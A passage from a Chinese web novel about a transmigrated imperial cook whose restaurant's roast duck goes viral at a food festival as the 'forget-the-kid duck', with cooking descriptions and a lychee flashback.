看到这，直播间的网友们才把注意力重新放到现在发生的事上。 直播间里，小朋友看见父母后眼睛都亮了：“那是我的爸爸妈妈！” 那对年轻夫妻则十分抱歉地一遍又一遍地说着不好意思，由于自己的疏忽给他们带来麻烦了。 这种事情还是挺严肃的，虽然中途、结果都没出什么差错，但大众面前，还是得认真教育。 孟云露收敛了一点笑容：“美食节人多，又不设什么限制，人来人往的什么人都有，今天孩子遇到了我还好，要是被其他居心叵测的发现他落单了，会发生什么样的事都不知道，希望你们还是多上点心吧，烤鸭什么时候吃不行？孩子要是出了什么问题可就……” 孟云露的话没说完，不过懂得都懂。 沈刚和彭倩两人一开始还在低着头认真听着，活像上学时候被老师批评的学生，直到听到烤鸭两个字…… 他们的脸色进一步发烫。 记者怎么知道他们是急着吃烤鸭才把小睿弄丢的？！ 这下丢人可丢大发了！ 本来作为父母，不小心弄丢了孩子被直播报道就算了，弄丢的理由竟然还这么不着调。 谁家父母会因为吃的把自己孩子都给忘的？ 彭倩简直想找个地缝钻进去。 沈刚清了清嗓子：“这事怪我，都是我的错，本来孩子是我在牵着的，后面有事松开了一下，脑子也不知道是抽了还是怎么的，松开就忘了牵回去了，后面要不是孩子他妈问起来，我都没发现丢了呢。” 沈刚当着摄像机的面把这过错认下，将彭倩撇得干干净净，还挺有担当的。 虽然本来就是他的问题。 但被这么多人审判着，即使是自己的错，其他人也未必能做到这么坦然认下。 彭倩心头一动，跟着默默道：“其实我也有责任……” 既然这对父母已经认错，孟云露最后叮嘱了几句，又说了些孩子走丢之后该怎么办的注意事项，让电视机前的父母都务必教给自己的孩子听，之后才彻底把这件事翻篇。 趁沈刚他们一家三口还没走，反正教育也教育过了，孟云露便重新换上一副轻松的语气调侃他们这么着急，到底是要去吃哪个摊子的东西。 得到B23摊位这个答案之后，孟云露心下了然，露出一副果然如此的表情。 之后，孟云露想到他们这么急匆匆跑过来，猜测是排队排到一半就过来了，烤鸭肯定还没买着，便不耽搁他们回去排队了。 孟云露也还要去别的地方做采访，双方就此分别。 此刻的网络还在谈论着这件事： [一开始我还在想到底是什么父母这么不靠谱，看到是一对年轻面孔后，好像懂了，这个年纪，自己都还能把自己弄丢了，别说孩子了。] [这就是我为什么不想太早要孩子的原因，自己都还没玩够啊！哪有时间去管孩子。] [笑死我了，竟然还真是那家店的烤鸭。] [之前看到那么多人推我还觉得好夸张，现在看到有人因为它把孩子都忘了，我倒要去吃吃看是不是真有那么好吃。] [前有旺仔牛奶，后有忘崽烤鸭。] [嫉妒才华。] [哈哈哈我也要去试试这份忘崽烤鸭，忘崽烤鸭忘崽烤鸭，吃了会把崽崽给忘掉吧哈哈。] [玩梗归玩梗，这件事还是很严重的，希望以后多多注意吧，都为人父母了，还是得稳重一点，万事多加小心的好。] [赞同楼上。] 后面，这次离谱事件还意外上了热搜，不少了解完事情经过的网友慕名点进了溪城的官号，看了直播回放，都想来看看这份出名的忘崽烤鸭。 对此，一部分网友觉得是营销，一部分网友觉得看起来就很好吃，难怪会让父母把孩子都忘掉，一部分网友又觉得虽然看起来是不错，但也不至于夸张到这个地步。 总之，网络嘛，发表什么言论的都有。 庄凝冬他们当时还在摊位上忙。 等到了卖完一批烤鸭，而下一批还没烤好时的间隙里，他们才有空歇上一会儿。 陆向安拿出手机来看，才发现顾客群里有人把这件事发了上来。 看完后，陆向安笑了出来，赶紧把这件事分享给庄凝冬他们。 庄凝冬闻言，也觉得稀奇，拿出手机来看。 庄凝冬对那一家三口有印象：“这不就是刚刚才在我们这儿买完烤鸭的那一家子吗？” “是吗？我完全没有印象了嘿嘿，师父真是，不仅记忆力强，手艺还好。”江映槐依旧是庄凝冬的头号粉丝：“就是那小孩儿有点惨，又可怜又好笑的。” “哎呀，我得赶紧把记者后面说的那些注意事项让圆圆也看一下。” 季初曼为人母，当即就通过这件事想到了自己的女儿，她连忙拿出手机把这事发给了季女士。 “哎，不对，得把那个小孩教科书般的应变能力也给圆圆说一下才行。” 庄凝冬关切：“是得好好教育一下，有备无患。” 在她们还在讨论的时候，陆向安则在一旁忙。 作为一个专业的网络媒体人，陆向安是绝对不会放过这个热度的。 他当即登上庄记官号，引用了这个话题，说这个就是他家的烤鸭，让他们有兴趣的都可以来尝尝。 有很多点进这个话题的网友都看到了这条动态，原本他们是打算看一眼就刷过去的，直到看到底下的高赞热评—— [这个官博里的动态好搞笑，特别有趣，不知道的还以为是写段子的营销号呢，谁能想到这其实是一家餐饮店的官号啊。] 网友一看，可就来劲了。 他们倒要看看是不是很有趣。 结果这一看，还真就停不下来。 关于店铺的每一个活动通知，文案不仅没有重复，还个顶个的好玩。 网友们就喜欢这些稀奇古怪且轻松搞笑的玩意儿，进来看完后都点了个关注。 吃没吃过这家店不重要，重要的是想看看它之后还会发些什么好笑的段子。 一时间，庄记官号涨粉速度呈指数式上涨。 有网友发现下面居然还有美食教程。 [诶，这有鸭架汤的做法教程哎，写得好详细，那些黑人家，说人家的烤鸭不好吃的，我觉得可以按这个教程做一份鸭架汤看看是不是真的不好吃。] [有道理，等我，我马上出门买个份烤鸭的鸭架来试试。] [做完之后麻烦发一下后续，在线等。] [在线等＋1，放个屁股。] 第75章 第75章 鸭架汤的做法并不难，不过庄凝冬发到微博上的鸭架汤教程还是跟前面发过的腌李子和椰汁马蹄糕得教程一样详细。 细致具体到各种调料的用量。 看见的那位网友动手能力和执行力都很强，立马就出门买了烤鸭架和其他用得上的配菜。 做鸭架汤需要把屁股和脖子的部分去掉，这两个部位油多，如果留着的话做出来会便得很油腻。 烤鸭架剁好后，下锅开大火把里面的油煸出来，加入葱姜炒香，随后加入开水。 一定要加开水，这一步是汤色奶白的关键，把汤熬开之后就可以放入豆腐、白菜这些配菜了。 等豆腐白菜都煮熟以后就可以出锅啦。 汤水呈现出一种雪白，淡淡的，汤面还泛着光泽，鸭架就藏在这种光泽感里，若隐若现，煮透了的白菜变得柔软，通体透着浅色又清新的青绿。 那一块块乳白的豆腐块更是方正好看得像玉石。 就这样看着都足够让人口齿生津了。 网友连忙拍了张照，然后拿起勺子喝了起来。 一股醇厚鲜美的咸香触及到味蕾，是超级好喝的味道，让网友呆滞到拿勺子的手都愣住了。 鸭架里的油脂已经在熬汤前就已经被煸出来，因而此刻的汤水里只有浓郁的肉香味，还有清淡的油脂香，一点也不油腻。 雪白的汤水下肚，能感受到舌尖上有微微的甜，是来自于鸭肉本身的回甘，喝起来口感丰富极了。 一勺接一勺，完全不够喝。 等汤的水位下降，露出里头的食材时，网友才想起要去吃里面的配菜。 鸭架经过炖煮，里面的精华虽然跑了出来，但本身也还是有股烤制过的风味，跟鲜美的汤水合在一起，香气馥郁，浓厚多汁。 豆腐块也满满的豆香味，咸香咸香的，一大块入口即化，就是内里温度有点高，一下子烫到口腔，让网友龇牙咧嘴的嘶嘶呼着凉气。 “好喝好吃好烫！” 网友虽然被烫到，但依旧没有停下来歇息，被馋得又立马舀了一勺鲜烫。 混着青绿洁白的菜叶子，甜甜的，又脆脆的，特别好喝！ 眨眼间，网友一下子就把这份刚煮的鸭架汤吃完了。 他意犹未尽地打了个嗝，看向桌面上剩余的鸭架子。 因为他平时都习惯直接拿鸭架来啃，所以买回来的这份烤鸭架，被他分成了两部分：一部分用来煮汤，一部分就这样吃。 但是现在，他有点后悔了。 后悔为什么要留出一点鸭架，早知道做成汤能好喝到这个地步，他就应该把它们都拿去煮汤。 等下次吧，下次再多做点。 休息够之后，网友终于想起来自己在微博上发表的评论，还有很多网友在底下蹲着要反馈呢—— [好了替大家试过了，这份教程可冲！煮出来的汤色是月白的，看起来就很香浓，肉香味很醇厚，重要的是，按照这个教程做出来的汤完全不油腻，还很清甜，虽然我有下厨经验，不是厨房小白，但这份教程是特别适合新手的，真的不要太详细，过程中遇到什么问题该怎么解决都列出来了，简直是把汤隔着屏幕喂到了嘴里，这个店家是真的有点东西，强烈推荐大家一定要去试试，来，给你们看看我根据这个教程做出来的鸭架汤。] [图片] [说件有趣的事，开始买鸭架的时候我多买了点，就是为了留点鸭架出来拿着啃，结果喝过这份鸭架汤后，我开始后悔没把鸭架全扔下去煮了。] 其他在蹲反馈的网友看到后—— [别说，这个汤色看着是真不错，白菜也青绿得刚刚好，一看就很脆甜多汁，已经开始流口水了。] [楼主买的是普通的烤鸭架吧，用普通的烤鸭架做出来都那么好吃，如果是用这个店家的忘崽烤鸭的鸭架来做的话……天啊，我都不敢想会有多好吃。] [胆小鬼，我就敢想，嘶哈嘶哈，等我有空了我一定要去溪城一趟，希望这份烤鸭不是美食节限定。] [这个教程看着就特别详细，像怕教不会我们一样，不多说了，赶紧关注这个店家。] 有挑事的网友说这是店家请的托，但很快被其他网友狠狠打脸了。 因为除了那一位网友，还有其他网友也做了鸭架汤，只是不在评论里说，而是带了这个热搜话题单独发了博文。 一时间，这个话题的实时广场里，几乎都是网友根据庄记发的教程做出来的鸭架汤。 一张张图片色香味俱全，看起来就很好吃。 没有人会请那么多高活跃度的水军。 况且，除了交鸭架汤的作业之外，还有人把更前面的腌李子和椰汁马蹄糕也做了出来。 [没人夸夸这份腌李子吗？真的超级好吃啊！酸酸甜甜的，吃了几颗下去，我的胃口都被治好了，开始哐哐炫饭，要知道，这个夏天我的胃口就不怎么样，闷热反胃到我都瘦了好几斤呢。] [腌李子真的很绝，做法简单很适合懒人，大夏天里，坐在凉爽的空调房，抱着一碗冰镇腌李子，边吃边看剧，简直不要太舒服了好吗。] [椰汁马蹄糕也很好吃，做出来的颜值很高，层层叠叠，柔韧又爽口。] [这么说的话，那这个店家发的教程就没有难吃的咯？看来这个店家是真的有点东西啊，可惜的就是，目前发的教程都太少了，赶紧点个关注，看看之后会出什么教程。] [关注＋1] [这店家能处，有好东西是真分享啊，这教程，跟手把手教我有什么区别？不像其他美食视频，什么都不说清，生怕我们学会一样。] …… 因为这个抓马的热搜，庄记的官号涨了不少粉，总量都突破六位数了。 其评论、点赞和转发的数量也远超其他定位为餐饮店的官号。 连网友都在蹭这个热度，更不用说溪城本地人了。 特别是黄妙彤。 新一期的美食栏目又有素材了。 她连夜把烤鸭的稿子写好，还把忘崽烤鸭这个梗的来源都写了进去，发表。 当天，这篇推文被溪城人广为传播。 有不少对稀奇事感兴趣的人看到后都来了兴致。 你如果说是果木烤鸭，那也太单调太不吸引人了。 但你如果说是忘崽烤鸭，那就必须前往一探究竟了。 到底是什么样的烤鸭，能被成为忘崽烤鸭？ 一天，一对年轻夫妻来到了美食节现场。 其中，女生是5G冲浪选手，她老早就听闻美食节上有个忘崽烤鸭，这天也是为了这份烤鸭来的。 “快点，慢了可能就买不到了。”女生催促道。 “别急啊，来都来了，不得好好看看其他摊位么？我看到那还有你喜欢的酱香饼呢，你不要了吗？” 女生闻言，顿了一下，随后咬牙：“买完烤鸭再回来买吧，我有点等不及了。” 男方虽不以为意，却还是跟上了她的步伐：“有那么神奇好吃吗？我才不信……” 经过一番奇特的宣传，庄记的烤鸭更广为人知了，同时，摊位前的摊位也越来越长。 反正只有美食节这段时间单单卖一样烤鸭，看在他们都很喜欢的份上，庄凝冬也有在尽力多生产些烤鸭。 因为量大了，这些天，他们营业的摊子也摆到夜幕降临。 这种情况下，只要耐心点、排久一点，几乎都可以买到。 那对年轻夫妻也不例外。 女生果断买了一整只烤鸭。 原本男方还想阻止的，但见女生喜欢，便任由她去了。 结果到了空地一吃，男方被这股味道惊艳到了，开始后悔没多买点。 那个摊子只限购一人一只，又没限购一家人一只。 男方本来可以多买的，唉。 别问，问就是后悔。 他们夫妻俩把烤鸭吃完后，就回家了。 等回到家后，他们看见正乖乖写作业的儿子，才猛地想起： 糟糕！吃烤鸭吃得太快乐，完全忘记要给儿子带章鱼小丸子了！ 夫妻俩了然地对视一眼。 不愧是忘崽烤鸭！吃了之后就把崽崽忘得一干二净了。 这个烤鸭带来的梗不仅在年轻人之间流传，更是连小到还在上幼儿园的孩子都知道了。 于是，在他们谈论的话题里也多了这么一个忘崽烤鸭—— “你们知道吗？最近好像出现了一个神奇的鸭子，只要大人们吃了它，就会把我们给忘掉。” “啊？！真的吗？这也太可怕啦，我可不想被爸爸妈妈忘记掉，你知道这只鸭子在哪里吗？我一定不能让他们吃到！” “我也不知道，我也是听别人说的。” “那，那我只好让爸爸妈妈什么鸭子都别吃了。” …… 当晚，这个小朋友和其他小伙伴们道别回到家里后，家里已经做好了丰盛的晚餐。 有两碟肉菜，小朋友看见后指着其中的一碟问了一句：“奶奶，这是什么肉肉？” 奶奶说：“这是小鸭子的肉肉啊，可香了，囡囡来吃一块。” 谁知，小朋友听见后脸色变得惊恐起来，东张西望，在爸爸妈妈没出来前端着那碟鸭肉就进了厨房。 奶奶：“？囡囡你这是干什么呀？” 小朋友当即“嘘”了一声：“可千万别被爸爸妈妈发现了，等他们吃了那只鸭子，是会把我忘掉的，到时候他们就不记得我是谁了，说不定会送给其他小孩的爸爸妈妈。” 奶奶：“？？？” 这嘀哩咕噜的是什么玩意儿？她怎么听不懂呢？ 等孩儿她爸妈出来，奶奶把这件事跟他们说了之后，他们才明白，原来那个忘崽烤鸭已经流传到小朋友的世界当中了。 后来，孩儿她爸妈只好把这个神奇的鸭子跟小朋友说清楚，也不知道她到底懂没懂，总归，让小朋友不再对鸭肉有偏见和害怕的心理。 再之后，孩儿她爸妈还带小朋友去吃了那个忘崽烤鸭，结果，反而是小朋友一心惦念着这份果木烤鸭，把跟在她身后的爸爸妈妈都给忘了。 孩儿她爸妈两人无奈地相视一笑，什么忘崽烤鸭，分明就是忘父母烤鸭。 第76章 第76章 因为烤鸭的爆火，这段时间庄凝冬他们都在忙碌中度过。 从早忙到晚，疲惫但充实。 很快，美食节便迎来了尾声。 美食节最后一天，江映槐在摊位上帮忙干活，她锤了锤腰酸背痛的身体，叹道：“终于来到最后一天了，这也太累了，还是之前在店里的日子好，到点才营业，卖完就可以歇息了，不像在这里，需要从早待到晚就算了，还闷热。” 陆向安笑她：“是谁一开始嚷嚷着要参加这个美食节的？” “我只是吐槽一下而已，这也不行吗？我又没有后悔，更没有说不干了的话。” 季初曼：“还好我们的票数仍然排在第一，上电视是真的稳了，也算不负此行。” 此刻时间还早，顾客还没开始来。 庄凝冬正在操作着制冰机，让它赶紧多做点冰块，听见陆向安和江映槐又在斗嘴，无奈一笑，舀了几块冰块，装了杯酸梅汤给他们。 “好了好了，大家这段时间都辛苦了，等忙完这最后一天，就给大家放两天假。” 有了这句话，江映槐瞬间跟打了鸡血一样，咕噜噜喝了一大口酸梅汤，顿时人不困了，手脚腰背不痛了。 “好耶！又可以放假咯，不过师父你放心，虽然不用上班，但我也一定会好好练我的刀工的。” 这些日子用到的黄瓜丝和葱段有一部分就是江映槐切的，经过一段时间的练习，她的刀工虽然没有到出神入化的地步，效率也还是不太高，但只要认真，所切出来的食材好歹也像模像样了。 进步算快了。 至于速度这方面，日后再慢慢练吧。 庄凝冬：“歇两天也没问题。” “所以明后两天店铺是不营业了吧？那我可得跟顾客们说一声。”陆向安时刻谨记着自己的分内工作。 江映槐的语气很是嫌弃，无一不透露着你是不是笨的意思：“肯定不营业了啊，我们都放假了，谁来帮师父处理食材？工作量那么大，你想累死她呀？” “我可不敢，我很珍惜我这份工作的。” 陆向安说着，打开微博，迅速写了一个抽象文案，把明后两天暂停营业的消息发布了出去。 很快，便有顾客在底下评论—— [明后两天停止营业？？这又是什么噩耗，呜呜呜美食节这两周我都在不停地想椒麻鸡，好不容易等到美食节结束，以为终于可以去店里买了，结果……还得等两天！] [没逝的，前面两周你都等过来了，区区两天算什么？] [表示理解，自从庄记的忘崽烤鸭爆火以后，每天到摊前的人都特别多，为了让更多人吃到烤鸭，他们是从早营业到晚，想想都觉得累，休息两天完全不过分。] [我就想知道，烤鸭是不是美食节限定？美食节结束以后，店里还会继续售卖烤鸭吗？] 陆向安看到这个问题，当即就问了庄凝冬，得到回答后才回复了网友：[烤鸭还是会正常售卖的，不过由于还要售卖其他菜式，所以每天提供的烤鸭数量会大大减少，想吃的我建议提前一天晚上在店门口打地铺排队（bushi）] [好消息：烤鸭还会继续卖。 坏消息：可能根本抢不到。] [数量大大减少……这跟不上线售卖有什么区别TAT，抢不到根本不可能抢得到，不说了，赶紧去人民广场排队吃最后一顿烤鸭了。] …… 美食节最后一天，顾客比之前更多，长长一条队伍，随着时间的推移，渐渐排得看不见尾巴。 他们都知道以后竞争越来越大，很难会再吃到这么好吃的烤鸭，因而都表达着赞美和自己的不舍。 这样的氛围融洽又美好，尽管庄凝冬也忙得晕头转向，仍然没有敷衍他们，耐心地谢谢他们的喜欢。 最后一天在忙碌中落幕，庄凝冬他们收拾好摊子，把所有东西都带回了店里。 “呼，终于结束了，可以放假咯，大家大后天再见！师父我明天就来看你。” 江映槐住得近，随时都可以过来。 陆向安：“明天是过来蹭饭的吧？” 江映槐：“就你多嘴！” 庄凝冬：“现在时间不早了，大家快回去休息吧。” “好。” 等他们人一走，庄凝冬也关了一楼的灯上楼去了。 洗漱完，庄凝冬趴在床上，奶奶在给她按摩。 “这些日子早出晚归的，真是辛苦了，可惜我都帮不上什么忙。”奶奶看得心疼，也有点自责自己帮不上什么忙。 “也还好啦，不是特别辛苦。” 庄凝冬安抚她：“谁说您帮不上什么忙的？您现在帮我放松身体就是帮了大忙啦。” 夜深寂静，庄凝冬把美食节上发生的趣事都慢慢在奶奶讲了讲。 晚上十二点一过，庄凝冬看到江映槐在他们那个工作小群里发了一张图片。 江映槐：[投票截止了！这是我们的最终票数，快看，是第二名的十倍！！太长脸太爽啦！] 季初曼：[虽然明知道这个结果，但看到的那一刻还是好激动。] 陆向安：[看来我可以提前去做个帅点的发型了，话说电视台那边什么时候来啊？] 庄凝冬：[目前还不知道，大家别急，美食节才刚结束呢，主办方那边肯定还有很多工作要处理，总不会耍我们的。] 庄凝冬：[能获得这个成绩是大家努力的结果，到时候给你们都发奖金。] 江映槐：[好耶！师父万岁！] 季初曼：[谢谢老板！] 陆向安：[有钱做头发了。] 对于这个结果，庄凝冬也感到高兴，并且立马跟奶奶分享了这个喜悦。 奶奶不在乎名次这些，只要自家孙女别累着就好，当然，拿到了第一名自然也是跟着高兴的。 第二天不用营业，庄凝冬罕见地睡到自然醒。 等她洗漱完下楼，奶奶已经做好早餐了。 之前庄凝冬起得早，早餐都是她做的。 这还是她来到这个世界以来，奶奶第一次给她做早饭。 庄凝冬很高兴。 也很喜欢这种感觉。 舒舒服服睡到自然醒，睁眼是和煦的日光，餐桌上摆着刚做好的早饭。 一切都是那么美好。 奶奶瞧见她：“起来了？快过来吃早餐吧，奶奶的手艺没你那么好，你可别嫌弃。” 庄凝冬过去帮忙：“我开心都来不及，怎么会嫌弃？” 奶奶做的早饭很简单，就一锅白粥，配上一点小咸菜，还有从赵爷爷那里买来的包子。 白粥没有很稀，也不会过于浓稠，粥水丝滑，入口绵顺，和着一点小咸菜，温热柔软里脆脆的，咸咸的，嚼起来爽口又带劲。 “好吃的呀！” 庄凝冬眉眼弯弯，三两下就把一碗粥喝了个精光，再舀了一碗，搭配上一只香喷松软的肉包子。 巴适极了。 庄凝冬拿过包子看了眼，笑道：“赵爷爷捏面团的技术也有进步哎。” 奶奶也笑：“他要是听见你夸他，肯定会高兴。” “那我等会儿就过去夸他。” 奶奶纵容：“你啊你。” …… 吃完早饭，庄凝冬陪奶奶去了赵爷爷家串门，回来的路上遇见江映槐，于是，江映槐跟着庄凝冬她们回了家。 这时，陈婆婆拿了点荔枝过来。 荔枝个个果实饱满，表皮颜色新鲜，拿到鼻子前闻一闻，能闻到清新的树枝味，还有一点点荔枝的香甜。 “是荔枝！” 庄凝冬眼睛一亮。 “看着好新鲜哦。” 江映槐已经拿过一只剥开吃了，果肉圆润多汁，软软的，很甜。 “好甜好甜。” 庄凝冬也吃了一只，荔枝特有的香甜气味在口腔中爆开，简直甜到心里去了。 奶奶看见庄凝冬一下子吃了好几个，顿了顿，问道：“喜欢吃？” 庄凝冬唇角勾着笑，心情愉悦地点点头。 她很喜欢吃荔枝。 以前偶然间吃过一次就喜欢上了。 荔枝在古时候是特别珍贵的存在。 以前交通不便，没有现代的储存技术，加上荔枝的保鲜期短，有“一日而色变，二日而香变，三日而味变”的说法，这就导致荔枝的身价不停高涨。 在大燕朝的时候，往往只有后宫的妃子，王爷皇子公主、以及立过赫赫战功的大臣才能吃上。 连作为御厨的庄凝冬的师父都分不到。 不过庄凝冬还是意外吃到了一颗。 某一年夏，宫里得到了一些荔枝，皇帝把它们赏赐给了一些皇室成员。 由于人数较多，那年的荔枝产量又较少，除了某个备受宠爱的妃子得到两颗之外，其他皇室成员也只被赏到了一颗。 那会儿庄凝冬给后宫里的妃子们送点心，正看到她们手里都拿着一颗圆滚滚的果子在讨论。 那是庄凝冬第一次看见荔枝的样子。 果皮青绿中带点红，表面还带刺，剥开以后的果肉晶莹剔透，泛着明亮的光泽感，跟妃子手上带的玉石相比都毫不逊色。 不愧是这么珍贵的水果。 听说很甜，也不知道这辈子能不能吃上一次。 庄凝冬想着，谁知道当天她就吃上了。 后面她回到御膳房，意外看见了一个修长的身影，来人看见她，眉眼展开：“方才去哪了？” 庄凝冬老实地一一回答，还把妃子们对荔枝的谈论也告诉了来人。 “荔枝？” 男子轻笑了声，随后变戏法似的在手中变出了一只荔枝，漫不经心地朝空中抛起来，又在它掉下来的时候稳稳接住。 看得庄凝冬胆战心惊。 这么珍贵的一个果子，可别摔坏了呀。 “你想吃吗？”男子问。 “想啊，当然想了。” 珍贵又稀奇的水果，谁不想吃？ “那给你了。” 他说得随意，庄凝冬呆住了，愣愣地“啊”了声。 见她迟迟不接过，男子也没有不耐。 “不是说想吃？” 这哪是想吃就可以吃到的？ 庄凝冬虽然跟眼前的人熟络了点，但还是知道他们之间的身份存在着天壤之别的。 看他的意思是想给自己吃，庄凝冬连忙摆手拒绝：“不不不，王爷您还是留着自己吃吧，这颗荔枝稀少罕有，您可不能像对待其他珠宝那样，随随便便就把它赠给人了。” “真不要了？” “不要了。” 男子手虚握成拳，抵在下巴处，微眯了眯眸，蓦地笑了下：“行，那我就自己吃了吧，吃完告诉你味道。” 庄凝冬不疑有他，转身去干活了，片刻，她听到那人喊了自己一声。 她下意识转过头，结果唇上猝不及防触碰到一片软润。 庄凝冬朝下一看，是一只剥得很漂亮的荔枝。 面前适时传来一声略带戏谑的浅笑： “不是说不要了吗？怎么还是对我的荔枝下手了？” 第77章 第77章 庄凝冬不可思议地瞪大眼睛。 这，这荔枝分明就是他自己放过来的，怎么还倒打一耙呢？ 庄凝冬往后退了一点点，和那颗荔枝拉开了一点距离。 才完全看清荔枝的模样。 果实圆润透亮，表面光滑洁白，被剥得很漂亮，触感是微软的，果肉还隐隐散发出一股特殊的香甜。 庄凝冬这才注意到那颗荔枝的皮并没有被剥完，下方尖尖处还带着一点红皮，被骨节分明的手指捏着。 叫人分不清是如白玉般的荔枝好看还是那只修长的手好看。 庄凝冬撇开头，小声埋怨：“明明就是你自己故意拿过来的。” 男子轻笑一声：“怎么就是我故意了？就不能是荔枝更想被你吃？” “荔枝只是一个没脑子的果子，哪来的想法？” “那能怎么办？已经被你吃过了。”男子拿着荔枝再一次送到庄凝冬面前：“好像只能让你吃了。” 见她犹豫不决，男子挑了挑眉，唇角噙着一抹笑：“还是说，你想让我吃你吃过的？” 庄凝冬顿觉惶恐：“不敢！” 她一个小小的厨娘怎么敢让王爷吃她吃过的东西。 “……” 男子无奈：“那还不快吃了，我不介意喂你吃。” 庄凝冬更不敢让他喂自己，只好接过那颗荔枝，在男子的目光下，慢悠悠地吃了起来。 荔枝太珍贵了，庄凝冬很重视，也有点不舍得一口吃掉，所以她吃得慢，咬起来是一小口一小口的，像用尽了全身力气去细细品尝，去认真记住这股味道。 牙齿咬破荔枝果肉的那一刻，有甜腻的汁水迸发出。 是一种带有特殊果香的香甜，果肉是柔软的，跟其他软烂的口感不一样，它是富有弹性的，每嚼一下都有甜腻的汁水溢出。 那颗荔枝的果肉很厚，核很小。 瞅着庄凝冬把整颗荔枝都吃掉后，男子问：“怎么样？好吃吗？” 庄凝冬眉眼弯弯，使劲点了点头，嘴里还弥漫着荔枝特有的清甜。 到现在，庄凝冬还记得那颗荔枝的味道。 香香甜甜的，比其他水果要好吃多了。 “师父，你手上这颗荔枝是有虫子吗？怎么拿着看了那么久？” 江映槐不等庄凝冬回答，把自己手里的递了过去：“我这颗没有虫子，你吃我这颗吧。” 庄凝冬从回忆中抽离，笑了下：“没什么，我这颗也没有虫子，只是想到了一些往事，你自己吃吧。” 庄凝冬说着，一口吃掉了手里那颗。 现在荔枝很常见，庄凝冬吃起来便变痛快了，整颗整颗地嘴里，是一粒粒甜糊糊的水果炸弹。 荔枝真的，太好吃了。 日啖荔枝三百颗，不辞长作岭南人。 陈婆婆送来的荔枝不多，奶奶觉得吃多了会上火，便只吃了几颗。 其他都被庄凝冬和江映槐两个人吃掉了。 庄凝冬清理着荔枝核的时候有点出神。 要知道她现在随随便便就能吃上荔枝，当年唯一那颗就该留给王爷。 地位尊贵者才能分到一颗。 好珍贵的呢。 庄凝冬吃荔枝没吃过瘾，饭后，她跟江映槐一起，又去任婶的水果店那里买了点。 看到一旁的杨梅个大新鲜，庄凝冬顺带着也买了点。 回到家，庄凝冬调了盆盐水，将杨梅倒下去泡着。 然后在一旁剥着荔枝，给荔枝去核留下玉白剔透的果肉，途中还时不时吃了一点。 江映槐在旁边帮忙：“师父，你做的这个杨梅荔枝饮会出现在店里的菜单上吗？” “看情况吧，怎么了？” “要是拿出来卖，那就得提前剥好好多荔枝，我剥十颗能吃八颗，肯定是胜任不了这个任务了。” 庄凝冬听完后笑了出声：“我跟你的情况差不多，看来是没法售卖了，反正做法简单，到时候咱们拍个教程发到网上让他们自己做算了。” “好。” 泡过的杨梅的水里漂浮着许多细小的杂质，庄凝冬把脏水倒掉，重新清洗了一遍杨梅，把它们分成了两部分。 一部分摆在果盘里拿着吃，一部分放入锅中加水加冰糖熬开。 等锅中的汤色变紫红，熬出了好看的颜色，庄凝冬才把荔枝放了进去。 荔枝不适合煮太久，等到咕噜冒泡微开的程度，就可以关火了。 最后加入去籽柠檬片，用干净的清新薄荷叶做点缀。 杨梅荔枝饮就做好了。 大夏天的，冰镇过的味道会更好。 庄凝冬便把它们放进了冰箱，先拿果盘出去吃了。 杨梅色泽诱人，一口一颗，咬下去，是酸甜交织的口感，它的酸味比较柔和，一点也不刺激，好吃极了。 下午太阳猛烈，庄凝冬把冰镇好的杨梅荔枝饮拿出来，给江映槐和奶奶都装了一碗，然后拿出包装盒另外打包了几份，送给了邻里街坊。 夏日暑气正盛，就这么出门一趟，再次回来时，庄凝冬已经满头大汗了。 此时再吃上一碗杨梅荔枝饮，再好不过了。 杨梅荔枝饮呈现出一种清透的紫红色，连雪白的荔枝都染上了一点红，汤匙搅动间，冰块瓷勺碰壁发出清脆的响声。 庄凝冬舀了一勺，汤水连带着杨梅送进了嘴里。 冰过的液体很凉，激得牙齿都颤了颤，一口下去，再炎热难耐的身体都被浇了个七八透，可太舒服了。 煮过的杨梅别有一番风味，汤水的味道也酸甜可口，隐约间还有柠檬的清香，消暑解腻又开胃，男女老少皆宜。 “唔～好好喝，冰镇过的杨梅、荔枝还有汤水都好好吃，凉凉的太清爽了。” 江映槐咕咚咕咚几下就把一碗水喝光了，正在那吃着杨梅荔枝。 现在天气热，奶奶也吃了一点解暑。 她喝了一口，有意无意道：“凝冬啊，我记得你任叔那不是进了一批新鲜的桃子吗？你不买点来吃？” 庄凝冬正操作着电脑，美食节结束，主办方和电视台那边的工作人员发来了邮件，跟庄凝冬洽谈后续采访的细节和流程。 她听到奶奶的话后把视线从电脑上离开：“奶奶你想吃桃子吗？想吃我等会儿再去给你买。” “没，也不是很想吃，我就问问，”奶奶笑了笑，“今天吃了杨梅荔枝，已经够了，哪有那么大的肚子吃那么多。” “好，那你下次想吃什么记得跟我说。” “知道知道。” …… 电视台那边发来的邮件内容有点多，其中涉及到采访时间、比较详细的采访稿、还有需要拍摄到的东西等等。 这次电视台来做的采访不是以直播的形式进行，变回了常见的模式，先拍后剪辑，然后安排在特定时间的栏目播出。 拍摄的内容除了面对面做采访外，还要拍摄做饭过程。 那边的工作人员非常周到地提到如果有什么不能播出的做菜过程，让庄凝冬尽量避免在那个时段做那道菜。 如果全都不可透露的话，也可以跟那边的工作人员说，他们可以通过拍摄手法剪辑。 不会暴露商业机密的。 其实庄凝冬不太在乎这些，便让他们看着来就好了。 回复完那边的工作人员，庄凝冬又舀了一勺杨梅荔枝饮，冰冰凉凉，跟夏天工作简直不要太搭。 准备关电脑时，庄凝冬突然想起了一件事，她忙登上那个金融网站，看看有没有新消息进来。 对话列表空荡荡，除了几条官方发得公告之外，并没有任何新消息。 庄凝盯着页面发了一会儿呆。 不发消息来也好，免得她没有及时回复，产生了负罪感。 庄凝冬退出登录，关了电脑。 假期这两天过得很快，转眼又要开店工作。 隔了两周，店铺再次开业，除了美食节上售卖的烤鸭，这次还上新了糕点，是江映槐做的四叶草形状的幸运酥。 另外，酸梅汤依旧以赠送的形式送给到店里消费的顾客。 因而，提前到店门口排队的人再创新高。 “啊啊啊终于开门了，天知道我等东坡肉等了多久。” “我丢，我以为我自己来得已经够早了，没想到你们更疯狂。” “在这苦苦等待的日子里，我的身心早已麻木不仁，要是再吃不到庄记，我的人生将没有任何意义。” “听说今天还有幸运酥，吃了是不是会变幸运啊，不知道我来这么早能不能幸运地买到幸运酥呢？” “能，铁定能，幸运酥限购呢，我数了一下，咱们前面才二十多个人，肯定能买到。” …… 江映槐在后面帮忙，时不时往外瞅了眼：“好家伙，这人也太多了，不是，这人也来得太早了。” “可不是嘛，那些人都等着店铺开门，搞得我莫名急了起来。”陆向安正忙着给幸运酥装盒。 